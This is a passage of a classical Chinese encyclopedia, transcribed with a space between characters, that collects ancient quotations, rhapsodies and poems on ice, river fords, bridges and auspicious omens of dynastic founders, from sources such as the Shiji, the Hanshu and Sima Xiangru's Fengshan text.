衡 曰 . 夫 一 炬 火 . 爨 一 镬 水 . 终 日 不 热 也 . 倚 一 尺 冰 . 置 庖 厨 中 . 终 夜 不 寒 也 . 何 则 . 微 小 之 感 . 不 能 动 大 也 . 今 邹 衍 之 叹 . 不 过 如 一 炬 尺 冰 . 而 皇 天 巨 大 . 不 徒 镬 水 庖 厨 也 . 一 夫 仰 叹 . 天 为 降 霜 . 何 天 之 易 感 . 霜 之 易 降 也 .\n吴 越 春 秋 曰 . 越 王 念 吴 . 欲 复 怨 . 非 一 旦 也 . 苦 思 劳 心 . 夜 以 接 日 . 冬 寒 则 抱 冰 . 夏 热 则 握 火 . 愁 心 苦 志 . 悬 胆 于 户 . 出 入 尝 之 . 不 绝 于 口 .\n魏 子 曰 . 危 殆 之 国 . 治 不 益 之 民 . 是 犹 薄 冰 当 白 日 . 聚 毛 过 猛 火 也 .\n博 物 志 曰 . 削 冰 令 圆 . 举 以 向 日 . 以 艾 承 其 影 . 则 有 火 出 .\n束 皙 集 曰 . 君 闻 薄 冰 凝 池 . 非 登 庙 之 宝 . 零 露 垂 林 . 非 缀 冕 之 饰 . 必 将 采 素 璧 于 层 山 . 探 圆 珠 于 重 泉 也 .\n【 赋 】 晋 顾 凯 之 冰 赋 曰 . 激 厉 风 而 贞 质 . 仰 和 景 而 融 晖 . 清 流 离 之 光 彻 . 邈 云 英 之 巍 巍 . 尔 乃 连 绵 络 幕 . 乍 结 乍 无 . 义 刚 有 折 . 照 壶 则 虚 . 托 形 超 象 . 比 朗 玄 珠 . 若 乃 上 结 薄 映 . 下 镜 长 泉 . 灵 葩 随 流 . 含 馨 杨 鲜 .\n晋 庾 倏 ○ 按 当 作 倏 . 冰 井 赋 曰 . 嘉 阴 阳 之 博 施 . 美 天 地 之 广 宣 . 万 物 杂 而 无 越 . 不 易 类 以 相 干 . 或 专 阳 负 暑 . 或 固 阴 冱 寒 . 涂 虽 殊 而 同 归 . 信 协 德 而 俱 延 .于 是 孟 冬 之 月 . 群 阴 毕 升 . 霜 雪 纷 其 交 沦 . 流 波 结 而 成 凌 . 启 南 墉 之 重 隩 . 将 却 热 以 藏 冰 . 纳 远 宫 之 邃 宇 . 静 幽 淡 以 清 征 . 抱 坚 精 之 玄 素 . 发 川 灵 而 长 凝 . 于 是 寒 往 暑 来 . 四 时 代 序 . 帝 将 攘 患 . 炎 灾 是 御 . 尔 乃 携 我 同 类 . 援 我 蒸 徒 . 将 涉 寒 薮 . 害 气 是 除 . 攀 灵 舰 而 增 举 . 爰 自 托 于 城 隅 . 仰 瞻 重 构 . 俯 临 阴 穴 . 凄 清 惊 冷 . 觱 发 栗 烈 . 余 寒 严 悴 . 凄 若 霜 雪 .\n【 启 】 梁 沈 约 谢 敕 赐 冰 启 曰 . 窃 惟 司 寒 辍 响 . 眇 自 前\n代 . 凌 室 旷 官 . 历 兹 永 久 . 圣 功 阐 物 . 逸 典 备 甄 . 穷 深\n既 采 . 园 池 靡 用 . 有 籍 羔 秬 . 无 灾 霜 雹 .\n论 语 曰 . 长 沮 桀 溺 . 耦 而 耕 . 孔 子 过 之 . 使 子 路 问 津 焉 . 长 沮 曰 . 夫 执 舆 者 为 谁 . 子 路 曰 . 孔 丘 . 曰 . 是 知 津 矣 .\n列 女 传 曰 . 赵 简 子 南 击 楚 . 津 吏 醉 卧 . 不 能 渡 . 简 子 召 . 欲 杀 之 . 津 吏 女 子 . 持 楫 而 前 曰 . 妾 父 闻 君 东 渡 不 测 之 水 . 恐 风 波 之 起 . 故 祷 九 江 三 淮 之 神 . 不 胜 巫 祝 杯 酌 余 沥 . 醉 至 于 此 . 妾 愿 以 鄙 躯 易 父 之 死 . 简 子 将 渡 . 少 一 人 . 乃 备 员 持 楫 . 遂 与 渡 . 中 流 . 发 激 桌 之 歌 . 简 子 悦 . 以 为 夫 人 .\n续 汉 志 曰 . 河 东 大 阳 县 . 有 茅 津 . 北 屈 县 . 有 采 桑 津 .\n【 铭 】 后 汉 李 尤 孟 津 铭 曰 . 洋 洋 河 水 . 赴 宗 于 海 . 经\n自 中 州 . 龙 图 所 在 . 黄 函 白 神 . 赤 符 以 信 . 昔 有 周 武 .\n集 会 孟 津 . 鱼 入 王 舟 . 乃 往 克 殷 .\n纪 年 曰 . 周 穆 王 三 十 七 年 . 伐 楚 . 大 起 九 师 . 至 于 九 江 . 比 鼋 鼍 为 梁 .\n燕 丹 子 曰 . 燕 太 子 丹 质 于 秦 . 秦 王 遇 之 无 礼 . 乃 求 归 . 秦 王 为 机 发 之 桥 . 欲 以 陷 丹 . 丹 过 之 无 虞 . 战 国 策 曰 . 豫 让 欲 为 智 伯 报 雠 . 赵 襄 子 当 出 . 伏 于 桥 下 . 至 桥 马 惊 . 曰 . 必 是 豫 让 也 . 求 之 果 是 .\n史 记 曰 . 秦 昭 王 四 十 九 年 . 初 作 河 桥 .\n又 曰 . 文 帝 行 出 中 渭 . 有 一 人 从 桥 下 走 出 . 乘 舆 马 惊 . 使 骑 捕 之 . 属 廷 尉 . 廷 尉 张 释 之 治 问 . 曰 . 县 人 来 . 闻 跸 . 匿 桥 下 . 见 车 骑 即 走 耳 . 张 廷 尉 奏 . 一 人 犯 跸 . 当 罚 金 . 汉 书 亦 云 . 事 具 官 职 部 .\n黄 图 曰 . 秦 始 皇 兼 天 下 . 都 咸 阳 . 端 门 四 达 . 以 则 紫 宫 . 渭 水 贯 都 . 以 象 天 汉 . 横 桥 南 渡 . 以 法 牵 牛 . 论 衡 曰 . 高 丽 国 有 侍 婢 . 自 云 有 气 如 鸡 子 . 来 下 我 . 故 有 身 . 后 生 子 . 曰 东 明 . 东 明 善 射 . 王 恐 害 其 国 . 欲 杀 之 . 东 明 走 至 掩 水 . 以 弓 击 水 . 鱼 鳖 浮 而 为 桥 梁 . 事 载 魏 略 . 亦 具 鳞 介 部 .\n苏 子 曰 . 微 生 与 妇 人 期 . 不 来 . 水 至 . 抱 梁 柱 而 死 . 或 作 尾 生 .\n王 隐 晋 书 曰 . 杜 豫 启 建 河 桥 于 富 平 津 . 众 论 以 为 周 所 都 . 经 圣 贤 而 不 作 者 . 必 不 可 作 故 也 . 豫 曰 . 昔 造 舟 为 梁 . 则 河 桥 之 谓 也 . 遂 作 桥 成 . 上 从 百 官 临 会 . 举 杯 劝 豫 曰 . 非 君 桥 不 立 也 . 豫 答 诏 曰 . 非 陛 下 之 明 . 臣 亦 不 获 奉 成 圣 制 也 . 众 咸 称 善 .\n【 诗 】 梁 简 文 帝 赋 得 桥 诗 曰 . 浮 梁 既 冲 险 . 通 波 信 可 陵 . 乘 空 写 渭 石 . 跨 岸 拟 河 冰 . 斜 阑 隐 浊 雾 . 布 影 入 清 渑 . 方 知 歌 渌 水 . 无 待 榜 苍 鹰 .\n又 咏 坏 桥 诗 曰 . 虹 飞 亘 林 际 . 星 度 断 山 隅 . 斜 梁 悬 水 迹 . 画 柱 脱 轻 朱 .\n又 石 桥 诗 曰 . 惠 子 临 濠 上 . 秦 王 见 海 神 . 写 虹 便 欲 饮 . 图 星 逼 似 真 .\n梁 萧 若 静 石 桥 诗 曰 . 连 延 过 绝 涧 . 迢 递 跨 长 津 . 已 数 逢 仙 客 . 兼 曾 度 獦 人 .\n梁 徐 摛 坏 桥 诗 曰 . 匝 拦 生 闇 藓 . 覆 板 没 鱼 衣 . 岸 曲 斜 梁 岨 . 何 时 香 步 归 .\n周 庾 信 看 治 渭 桥 诗 曰 . 大 夫 参 下 位 . 司 职 渭 之 阳 . 富 平 移 铁 锁 . 甘 泉 运 石 梁 . 跨 虹 连 绝 岸 . 浮 鼋 续 断 航 . 春 洲 鹦 鹉 色 . 流 水 桃 花 香 .\n周 王 褒 和 治 渭 桥 诗 曰 . 东 流 仰 天 汉 . 南 度 似 牵 牛 . 长 堤 通 角 道 . 飞 梁 跨 造 舟 . 使 者 开 金 堰 . 太 守 拥 河 流 . 广 陵 候 涛 水 . 荆 峡 望 阳 侯 . 波 生 从 故 舶 . 沙 涨 涌 新 洲 . 天 星 识 辩 对 . 捡 玉 应 沉 钩 .\n陈 阴 铿 赋 得 度 岸 桥 诗 曰 . 画 桥 长 且 曲 . 傍 险 复 凭 流 . 写 虹 晴 尚 饮 . 图 星 昼 不 收 . 跨 波 连 断 岸 . 接 路 上 危 楼 . 栏 高 荷 不 及 . 池 清 影 自 浮 . 何 必 横 南 渡 . 方 复 似 牵 牛 .\n太 宗 文 皇 帝 赋 得 浮 桥 诗 曰 . 曲 岸 非 千 里 . 桥 斜 异 七 星 . 蹔 低 逢 辇 度 . 还 高 值 浪 惊 . 水 摇 文 鹢 动 . 缆 转 锦 花 萦 . 远 近 随 轮 影 . 轻 重 应 人 行 .\n梁 庾 肩 吾 石 桥 诗 曰 . 秦 王 金 作 柱 . 汉 帝 玉 为 栏 . 仙 人 飞 往 易 . 道 士 出 归 难 .\n张 文 琮 赋 桥 诗 曰 . 造 舟 浮 渭 日 . 鞭 石 表 秦 初 . 星 文 遥 泻 汉 . 虹 势 尚 凌 虚 . 已 授 文 成 履 . 空 题 武 骑 书 . 别 有 临 濠 上 . 栖 偃 独 观 鱼 .\n后 周 宗 羁 登 渭 桥 诗 曰 . 仲 山 朝 饮 马 . 还 坐 渭 桥 中 . 南\n瞻 临 别 馆 . 北 望 尽 离 宫 . 四 面 衣 裾 合 . 三 条 冠 盖 通 . 兰\n香 想 和 季 . 云 起 忆 成 公 . 圯 上 相 知 早 . 鸡 鸣 幸 共 同 .\n春 秋 合 诚 图 曰 . 尧 母 庆 都 . 出 观 三 河 . 奄 然 阴 风 . 赤 龙 与 庆 都 合 . 生 尧 .\n河 图 曰 . 汤 母 扶 都 . 见 白 气 贯 月 . 意 感 而 生 汤 .\n春 秋 元 命 苞 曰 . 殷 纣 之 时 . 五 星 聚 于 房 . 房 者 苍 神 之 精 . 周 据 而 兴 . 周 起 于 房 . 而 五 星 聚 之 . 得 天 下 之 祥 .\n尚 书 中 候 曰 . 季 秋 . 赤 雀 衔 丹 书 . 入 酆 . 止 于 昌 户 . 昌 拜 稽 首 . 受 最 最 . 要 者 也 . 曰 . 姬 昌 苍 帝 子 .\n又 曰 . 吕 尚 钓 磻 溪 . 得 玉 璜 . 刻 曰 . 姬 受 命 . 吕 佐 旌 . 旌 . 理 也 .\n吕 氏 春 秋 曰 . 周 文 王 时 . 见 大 赤 鸟 衔 书 . 集 于 周 社 . 文 王 曰 . 火 气 胜 . 故 其 色 上 赤 .\n尚 书 中 候 曰 . 武 王 发 渡 于 孟 津 . 中 流 . 白 鱼 跃 入 王 船 . 王 俯 取 鱼 . 长 三 尺 . 有 文 王 字 .\n史 记 曰 . 帝 喾 少 妃 有 娀 氏 女 简 狄 . 以 春 分 玄 鸟 至 之 日 . 祀 于 高 禖 . 有 玄 鸟 遗 其 卵 . 简 狄 吞 之 . 孕 . 生 契 . 为 殷 始 祖 .\n又 曰 . 帝 高 阳 氏 元 妃 姜 嫄 . 见 大 人 之 迹 . 履 之 . 歆 然 若 感 . 而 生 后 稷 . 弃 之 寒 冰 之 上 . 鸟 翼 覆 之 . 又 弃 之 隘 巷 . 羊 牛 乳 之 . 又 弃 之 平 林 之 上 . 人 收 养 之 . 为 周 始 祖 .\n又 曰 . 高 祖 母 媪 . 尝 息 大 泽 之 陂 . 梦 与 神 遇 . 时 雷 电 晦 冥 . 父 太 公 往 视 . 见 蛟 龙 于 上 . 已 而 有 娠 . 遂 生 高 祖 .\n又 曰 . 高 祖 被 酒 . 夜 经 酆 西 泽 中 . 令 一 人 行 前 . 行 前 者 还 报 曰 . 前 有 大 蛇 当 径 . 高 祖 乃 前 . 拔 剑 斩 蛇 . 蛇 分 为 两 . 道 开 . 后 人 来 至 蛇 所 . 有 一 老 妪 夜 哭 . 问 之 . 妪 曰 . 吾 子 白 帝 子 . 化 为 蛇 当 道 . 今 为 赤 帝 子 斩 之 . 因 忽 不 见 .\n汉 书 曰 . 高 祖 元 年 . 冬 十 月 . 五 星 聚 于 东 井 . 从 岁 星 也 . 东 井 . 秦 分 野 . 汉 以 义 取 天 下 之 应 也 .\n又 曰 . 孝 昭 帝 时 . 太 山 莱 芜 山 南 . 汹 汹 有 数 千 人 声 . 民 视 之 . 有 大 石 自 立 . 高 丈 五 尺 . 大 三 十 八 围 . 入 地 深 八 尺 . 三 石 为 足 . 石 立 后 . 有 白 乌 数 千 集 其 旁 . 宣 帝 中 兴 之 瑞 也 .\n又 曰 . 昭 帝 时 . 上 林 柳 树 断 . 卧 地 . 一 朝 起 立 . 生 枝 叶 . 有 虫 食 其 叶 . 成 文 字 . 曰 . 公 孙 病 已 立 .\n又 曰 . 昌 邑 王 问 社 . 有 枯 树 复 生 枝 叶 . 眭 孟 以 为 木 下 民 象 . 当 有 废 改 之 象 . 公 孙 氏 从 民 间 受 命 为 天 子 者 . 后 宣 帝 立 . 帝 本 名 病 已 .\n隋 巢 子 曰 . 昔 三 苗 大 乱 . 天 命 夏 禹 于 玄 宫 . 有 大 神 . 人 面 鸟 身 . 降 而 福 之 . 司 禄 益 富 而 国 家 实 . 司 命 益 年 而 民 不 犮 . 四 方 归 之 . 禹 乃 克 三 苗 . 而 神 民 不 违 .\n墨 子 曰 . 夏 桀 时 . 天 乃 命 汤 于 骊 宫 . 有 神 来 告 曰 . 夏 德 大 乱 . 往 攻 之 . 予 必 使 汝 大 戡 之 .\n又 商 王 纣 时 . 周 武 王 见 三 神 曰 . 予 既 沉 渍 殷 纣 于 酒 德 矣 . 汝 往 攻 之 . 予 必 使 汝 大 戡 之 .\n东 观 汉 记 曰 . 光 武 帝 夜 生 时 . 有 赤 光 . 室 中 尽 明 . 皇 考 异 之 . 使 卜 者 王 长 卜 之 . 长 曰 . 此 善 事 . 不 可 言 . 是 岁 有 嘉 禾 生 . 一 茎 九 穗 . 长 大 于 凡 禾 . 县 界 大 丰 熟 . 因 名 上 曰 秀 .\n又 曰 . 光 武 从 邯 郸 避 王 郎 兵 . 至 呼 沱 河 . 导 吏 还 言 . 河 水 流 澌 . 无 船 . 不 可 济 . 左 右 皆 惶 . 畏 为 王 郎 所 及 . 上 命 王 霸 前 往 视 之 . 实 然 . 霸 念 还 言 惊 众 . 虽 不 可 渡 . 且 临 水 止 . 尚 可 为 阻 . 即 白 曰 . 冰 坚 可 渡 . 士 众 大 喜 . 上 大 笑 曰 . 果 妄 言 也 . 叱 至 河 . 流 澌 冰 合 可 履 . 彊 以 囊 盛 沙 . 布 冰 上 . 乃 渡 . 渡 未 毕 . 而 数 车 冰 陷 也 .\n琴 操 曰 . 鲁 哀 公 十 四 年 . 西 狩 . 薪 者 获 麟 . 击 之 . 伤 其 左 足 . 将 以 示 孔 子 . 孔 子 道 与 相 逢 见 . 俛 而 泣 . 抱 麟 曰 . 尔 孰 为 来 哉 . 孰 为 来 哉 . 反 袂 拭 面 . 仰 视 其 人 . 龙 颜 日 角 . 夫 子 奉 麟 之 口 . 须 臾 吐 三 卷 图 . 一 为 赤 伏 . 刘 季 兴 为 王 . 二 为 周 灭 . 夫 子 将 终 . 三 为 汉 制 造 . 作 孝 经 . 夫 子 还 谓 子 夏 曰 . 新 主 将 起 . 其 人 如 得 麟 者 .\n帝 王 世 纪 曰 . 燧 人 之 世 . 有 大 迹 出 雷 泽 . 华 胥 履 之 . 生 庖 牺 氏 于 成 纪 也 .\n又 曰 . 神 龙 感 女 登 于 常 羊 . 生 炎 帝 .\n又 曰 . 电 光 绕 北 斗 枢 星 . 照 郊 野 . 感 附 宝 . 孕 二 十 月 . 生 黄 帝 于 寿 丘 .\n又 曰 . 黄 帝 时 . 有 大 星 如 虹 . 下 流 华 渚 . 女 节 梦 接 之 . 意 感 . 生 少 昊 .\n又 曰 . 陶 唐 之 世 . 握 登 见 大 虹 . 意 感 . 生 舜 于 姚 墟 .\n又 曰 . 脩 巳 山 行 . 见 流 星 贯 昴 . 意 感 栗 然 . 又 吞 神 珠 薏 苡 . 胸 坼 而 生 禹 .\n又 曰 . 汉 昭 灵 后 名 含 始 . 游 浴 池 . 有 玉 鸡 衔 赤 珠 出 . 刻 曰 玉 英 . 吞 此 者 王 . 含 始 吞 之 . 生 高 祖 .\n魏 氏 春 秋 曰 . 明 帝 青 龙 三 年 . 张 掖 郡 删 丹 县 金 山 玄 川 溢 . 涌 宝 石 负 图 . 状 象 灵 龟 . 立 于 川 西 . 有 石 马 七 . 其 一 仙 人 骑 之 . 其 一 羁 绊 之 . 其 五 有 形 而 不 善 成 . 有 玉 匣 . 开 盖 于 前 . 上 有 玉 字 . 玉 玦 二 . 玉 璜 一 . 又 有 骐 驎 在 东 . 凤 皇 在 南 . 白 虎 在 西 . 牺 牛 在 北 . 马 自 中 布 列 南 方 . 有 字 曰 . 大 讨 曹 . 金 但 取 之 . 此 司 马 氏 革 运 之 征 .\n魏 志 曰 . 桓 帝 时 . 有 黄 星 见 于 楚 宋 之 分 . 辽 东 殷 馗 . 善 天 文 . 言 后 五 十 岁 . 当 有 真 人 起 于 梁 沛 之 间 . 其 锋 不 可 当 . 至 是 凡 五 十 年 . 而 太 祖 破 袁 绍 . 天 下 莫 敌 矣 .\n吴 录 曰 . 孙 坚 墓 上 数 有 光 . 如 云 气 五 色 . 上 属 天 . 下 蔓 延 数 里 . 父 老 相 谓 曰 . 此 非 凡 气 . 孙 氏 其 兴 乎 .\n吴 书 曰 . 孙 坚 母 怀 妊 . 梦 肠 绕 吴 昌 门 . 孙 策 母 怀 策 . 梦 月 入 怀 . 怀 孙 权 . 梦 日 入 怀 . 晋 中 兴 书 . 中 宗 元 皇 帝 初 诞 . 有 神 光 之 异 . 一 室 尽 明 . 所 藉 如 始 刈 .\n豫 章 记 曰 . 松 阳 门 内 有 大 梓 树 . 大 四 十 五 围 . 举 树 尽 枯 死 . 永 嘉 中 . 一 旦 忽 更 荣 茂 . 太 兴 中 . 元 皇 帝 果 继 大 业 . 庾 仲 初 杨 都 赋 所 云 . 瘣 木 荟 于 豫 章 . 郭 璞 南 郊 赋 云 . 弊 梓 擢 秀 于 祖 邑 也 . 宣 帝 祖 为 豫 章 太 守 . 故 云 祖 邑 也 .\n臧 荣 绪 晋 书 曰 . 王 廙 为 鄱 阳 太 守 . 有 枯 樟 树 更 生 . 王 敦 表 劝 进 中 宗 曰 . 皓 兽 应 瑞 而 来 臻 . 樟 树 久 枯 而 更 荣 .\n孙 盛 晋 阳 秋 曰 . 秦 始 皇 时 . 望 气 者 言 . 五 百 年 后 . 金 陵 之 地 . 有 天 子 气 . 于 是 改 金 陵 曰 秣 陵 . 堑 北 山 . 以 绝 其 势 . 秦 政 东 游 以 猒 之 . 后 五 百 二 十 六 年 . 而 中 宗 即 位 于 江 南 .\n又 曰 . 太 安 中 . 岁 镇 辰 太 白 四 星 . 聚 于 牛 女 之 间 . 后 中 宗 即 位 于 杨 州 也 .\n武 昌 记 曰 . 孙 权 獦 于 樊 山 . 见 一 姥 . 问 獦 何 得 . 答 曰 . 止 得 一 豹 . 姥 曰 . 何 不 坚 ○ 太 平 御 览 六 百 八 十 作 . 其 尾 . 忽 然 不 见 . 因 为 立 樊 姥 庙 .\n徐 爰 宋 书 曰 . 武 帝 夜 生 . 有 神 光 之 异 . 室 内 尽 明 . 是 夕 . 甘 露 降 于 墓 树 .\n又 . 高 祖 举 目 瞻 睐 . 常 见 二 龙 在 焉 . 始 尚 微 小 . 及 贵 . 龙 形 渐 长 . 光 色 转 明 . 左 右 侍 者 . 亦 数 见 征 异 .\n宋 书 曰 . 高 祖 既 登 祚 . 谓 群 臣 曰 . 朕 始 望 不 至 此 . 众 人 咸 撰 辞 . 欲 盛 称 功 德 . 王 弘 率 尔 对 曰 . 所 谓 天 命 . 求 之 不 可 得 . 推 之 不 可 去 . 众 皆 以 为 知 言 .\n【 文 】 汉 司 马 相 如 封 禅 文 曰 . 伊 上 古 之 初 肇 . 自 昊 穹 之 生 民 . 历 选 列 辟 . 以 迄 于 秦 . 率 迩 者 踵 武 . 逖 听 者 风 声 . 纷 纶 葳 蕤 . 湮 灭 而 不 称 者 . 不 可 胜 数 也 . 继 昭 夏 . 崇 号 谥 . 略 可 道 者 . 七 十 有 二 君 . 书 曰 . 元 首 明 哉 . 股 肱 良 哉 . 因 斯 以 谈 . 君 莫 盛 于 唐 尧 . 臣 莫 贤 于 后 稷 . 后 稷 创 业 于 唐 尧 . 公 刘 发 迹 于 西 戎 . 文 王 改 制 . 大 行 厥 成 . 故 轨 迹 夷 易 . 易 遵 也 . 湛 恩 庬 鸿 . 易 丰 也 . 宪 度 着 明 . 易 则 也 . 垂 统 理 顺 . 易 继 也 . 是 以 业 隆 于 襁 褓 . 而 崇 冠 于 二 后 . 未 有 殊 尤 绝 迹 . 可 考 于 今 者 也 . 然 犹 蹑 梁 父 . 登 泰 山 . 建 显 号 . 施 尊 名 . 大 汉 之 德 . 烽 音 蜂 . 涌 源 泉 . 沕 潏 曼 羡 . 旁 魄 四 塞 . 云 布 雾 散 . 上 畅 九 垓 . 下 溯 八 埏 . 昆 虫 凯 泽 . 回 首 面 内 . 然 后 囿 驺 虞 之 珍 群 . 儌 麇 鹿 之 怪 兽 . 导 一 茎 六 穗 于 庖 . 牺 双 觡 共 皋 之 兽 . 招 翠 黄 乘 龙 于 沼 . 钦 哉 符 瑞 臻 兹 . 犹 以 为 德 薄 . 不 敢 道 封 禅 . 盖 周 跃 鱼 陨 航 . 休 之 以 燎 . 此 之 为 符 也 . 以 登 介 丘 . 不 亦 恧 乎 . 进 让 之 道 . 何 其 爽 与 . 于 是 大 司 马 进 曰 . 陛 下 仁 育 群 生 . 义 征 不 譓 . 德 侔 往 初 . 功 无 与 二 . 意 者 泰 山 梁 父 . 设 坛 场 望 幸 . 盖 上 帝 垂 恩 储 祉 . 将 以 庆 成 . 陛 下 谦 让 而 弗 发 也 . 契 三 神 之 欢 . 缺 王 道 之 仪 . 群 臣 恧 焉 . 夫 脩 德 以 锡 符 . 奉 符 以 行 事 . 不 为 进 越 也 . 故 圣 王 不 替 . 而 脩 礼 地 祗 . 谒 款 天 神 . 勒 功 中 岳 . 以 章 至 尊 . 皇 皇 哉 斯 事 . 天 下 之 壮 观 . 王 者 之 丕 业 . 不 可 贬 也 . 愿 陛 下 全 之 . 俾 万 世 得 激 清 流 . 扬 微 波 . 飞 英 声 . 腾 茂 实 . 前 圣 之 所 以 永 保 鸿 名 . 而 常 为 称 首 者 用 此 . 宜 命 掌 故 . 悉 奏 其 仪 而 览 焉 . 于 是 天 子 沛 然 改 容 曰 . 俞 乎 . 朕 其 诚 哉 . 乃 迁 思 回 虑 . 总 公 卿 之 仪 . 询 封 禅 之 事 . 诗 大 泽 之 博 . 演 符 瑞 之 富 . 遂 作 颂 曰 . 自 我 天 覆 . 云 之 油 油 . 甘 露 时 雨 . 厥 壤 可 游 . 滋 液 渗 漉 . 何 生 不 育 . 嘉 谷 六 穗 . 我 穑 曷 蓄 . 匪 唯 雨 之 . 又 润 泽 之 . 匪 唯 遍 之 . 我 汜 布 护 之 . 名 山 显 位 . 望 君 之 来 . 君 乎 君 乎 . 侯 不 迈 哉 . 般 般 之 兽 . 乐 我 君 囿 . 白 质 黑 章 . 其 仪 可 嘉 . 旼 旼 穆 穆 . 君 子 之 态 . 盖 闻 其 声 . 今 亲 其 来 . 厥 途 靡 从 . 天 瑞 之 征 . 兹 尔 于 舜 . 虞 氏 以 兴 . 濯 濯 之 麟 . 游 彼 灵 畤 . 孟 冬 十 月 . 君 徂 郊 祀 . 驰 我 君 舆 . 帝 以 享 祉 . 宛 宛 黄 龙 . 兴 德 而 升 . 正 阳 显 见 . 觉 悟 黎 蒸 . 于 传 载 之 . 云 受 命 所 乘 . 依 类 托 寓 . 喻 以 封 峦 . 披 艺 观 之 . 天 人 之 际 已 交 . 上 下 相 发 . 允 答 圣 王 之 德 . 兢 兢 翼 翼 . 故 曰 . 于 兴 必 虑 衰 . 安 必 思 危 . 是 以 汤 武 至 尊 严 . 不 失 肃 祗 . 舜 在 假 典 . 顾 省 阙 遗 . 此 之 谓 也 .\n【 颂 】 魏 傅 遐 皇 初 颂 云 . 寻 盛 德 以 降 应 . 着 显 符 于 方 臻 . 积 嘉 祚 以 待 期 . 储 鸿 施 于 真 人 . 昔 九 代 之 革 命 . 咸 受 天 之 休 祥 . 匪 至 德 其 焉 昭 . 匪 至 仁 其 焉 章 . 懿 大 魏 之 圣 后 . 固 上 天 之 所 兴 . 应 灵 运 以 承 统 . 排 阊 阖 以 龙 升 . 摅 皇 象 以 阐 化 . 顺 帝 则 以 播 音 . 遵 阳 春 以 行 施 . 揆 四 时 以 立 信 . 运 聪 明 以 举 善 . 宣 柔 惠 以 养 人 . 于 赫 我 后 . 迈 德 如 神 . 化 不 期 月 . 令 不 浃 辰 . 于 是 天 地 休 豫 . 灵 祗 欢 欣 . 嘉 瑞 云 集 . 四 灵 允 臻 . 甘 露 霄 零 于 宫 庭 . 醴 泉 冬 涌 于 中 原 . 白 雉 素 乌 . 丹 芝 朱 鱼 . 鳞 集 群 萃 . 不 可 胜 书 . 信 应 天 之 美 瑞 . 受 命 之 灵 符 也 . 然 后 览 公 卿 之 谠 议 . 询 百 僚 之 典 谟 . 天 子 乃 登 雕 辇 . 戴 羽 盖 . 佩 玉 锵 锵 . 銮 声 哕 哕 . 拜 上 皇 . 告 受 位 . 兆 休 祚 . 导 神 气 . 于 是 建 皇 初 之 上 元 . 发 旷 荡 之 明 诏 . 眚 灾 肆 赦 . 荡 涤 瑕 秽 . 崇 设 九 宾 . 溥 延 公 卿 . 嘉 羞 千 品 . 俎 豆 充 庭 . 金 石 具 悬 . 钟 鼓 毕 作 . 歌 九 功 . 舞 八 佾 . 鸿 泽 普 . 皇 恩 洽 . 民 欲 得 . 神 望 塞 .\n【 凉 】 后 汉 傅 干 王 命 叙 曰 . 昔 在 唐 虞 之 禅 . 列 于 帝 典 . 殷 周 之 代 . 叙 于 诗 书 . 天 之 历 数 . 昭 焉 着 明 . 周 笃 后 稷 公 刘 . 积 德 行 仁 . 至 乎 文 武 . 遂 成 王 业 . 虽 五 德 殊 运 . 或 禅 或 征 . 其 变 化 应 天 . 与 时 消 息 . 其 道 一 也 . 故 虽 有 威 力 . 非 天 命 不 授 . 虽 有 运 命 . 非 功 烈 不 章 . 自 我 高 祖 . 袭 唐 之 统 . 受 命 龙 兴 . 讨 秦 灭 项 . 光 有 万 国 . 世 祖 攘 乱 . 奄 复 帝 宇 . 人 鬼 协 谋 . 征 祥 焕 然 . 皆 顺 乎 天 而 应 乎 人 也 . 然 则 帝 王 之 起 . 必 有 天 命 瑞 应 自 然 之 符 . 明 统 显 祚 丰 懿 之 业 . 加 以 茂 德 成 功 . 贤 智 之 助 . 而 后 君 临 兆 民 . 为 神 明 所 保 佑 . 永 世 所 尊 崇 . 未 见 运 叙 无 纪 次 . 勋 泽 不 加 于 民 . 而 可 力 争 觊 觎 神 器 者 也 . 豪 桀 见 二 祖 无 尺 地 之 阶 . 为 专 智 力 . 乘 衅 而 起 . 不 知 天 祚 圣 哲 . 帝 王 自 有 真 也 . 哀 哉 . 非 徒 闇 于 将 来 . 又 不 考 之 于 既 往 矣 . 自 开 辟 已 来 . 奸 雄 妄 动 . 不 识 天 命 . 勇 如 蚩 尤 . 强 如 共 工 . 威 如 夷 羿 . 然 皆 从 分 横 裂 . 为 天 下 戒 . 又 况 浅 智 小 才 . 勇 不 足 畏 . 强 不 足 惮 . 未 有 成 资 . 而 敢 失 顺 . 视 不 轨 之 事 也 哉 . 夫 行 潦 之 流 . 不 致 江 海 之 深 . 丘 垤 之 资 . 不 成 太 山 之 高 . 鱼 鳖 之 类 . 不 希 云 龙 之 轨 . 一 官 之 守 . 不 经 天 人 之 变 . 当 王 莽 之 末 . 英 雄 四 起 . 而 邓 禹 耿 弇 . 识 世 祖 之 福 祚 . 赢 粮 闲 行 . 进 其 策 谋 . 遂 荷 胥 附 之 任 . 享 佐 命 之 宠 . 张 玄 慕 苏 秦 蒯 通 之 业 . 周 旋 嚣 述 . 西 说 窦 融 . 言 未 及 终 . 而 梁 统 已 诛 之 矣 . 禹 弇 见 命 祚 之 兆 . 其 福 如 彼 . 张 玄 蔽 逆 顺 之 理 . 其 祸 如 此 . 审 斯 二 事 . 趣 舍 之 分 明 矣 . 且 世 祖 之 兴 有 四 . 一 曰 帝 皇 之 正 统 . 二 曰 形 相 多 异 表 . 三 曰 体 文 而 知 武 . 四 曰 履 信 而 好 士 . 加 之 以 聪 明 独 断 . 达 于 事 机 . 发 策 如 神 应 . 视 远 如 见 近 . 偏 旅 首 进 . 摧 莽 军 百 万 之 众 . 单 师 独 征 . 平 河 北 万 里 之 功 . 识 邓 隆 之 将 败 . 知 刘 兴 之 必 死 . 然 犹 干 干 日 昃 . 博 采 训 咨 . 拔 吴 汉 于 小 尹 . 擢 马 武 于 行 伍 . 宠 功 臣 以 兼 国 之 爵 . 显 卓 茂 以 非 次 之 位 . 言 语 政 事 文 学 之 士 . 咸 尽 其 材 . 致 之 宰 相 . 权 勇 毕 力 于 征 伐 . 搢 绅 悉 心 于 左 右 . 此 其 所 以 成 大 业 也 . 高 祖 方 娠 . 有 云 龙 之 表 . 其 始 入 秦 . 五 星 同 轨 . 以 旅 于 东 井 . 在 天 之 符 也 . 世 祖 之 征 符 . 其 详 可 闻 也 . 其 初 育 则 灵 光 鉴 于 室 隩 . 嘉 禾 滋 于 邑 壤 . 其 望 旧 庐 . 有 火 光 之 异 . 其 渡 呼 沱 . 有 河 合 之 应 . 西 门 君 惠 . 先 识 其 讳 . 强 华 献 符 . 千 里 同 验 . 刘 歆 改 名 而 陨 其 身 . 王 长 错 卦 而 见 吉 兆 . 故 王 遵 谓 之 天 授 . 非 人 力 也 . 览 废 兴 之 运 会 . 观 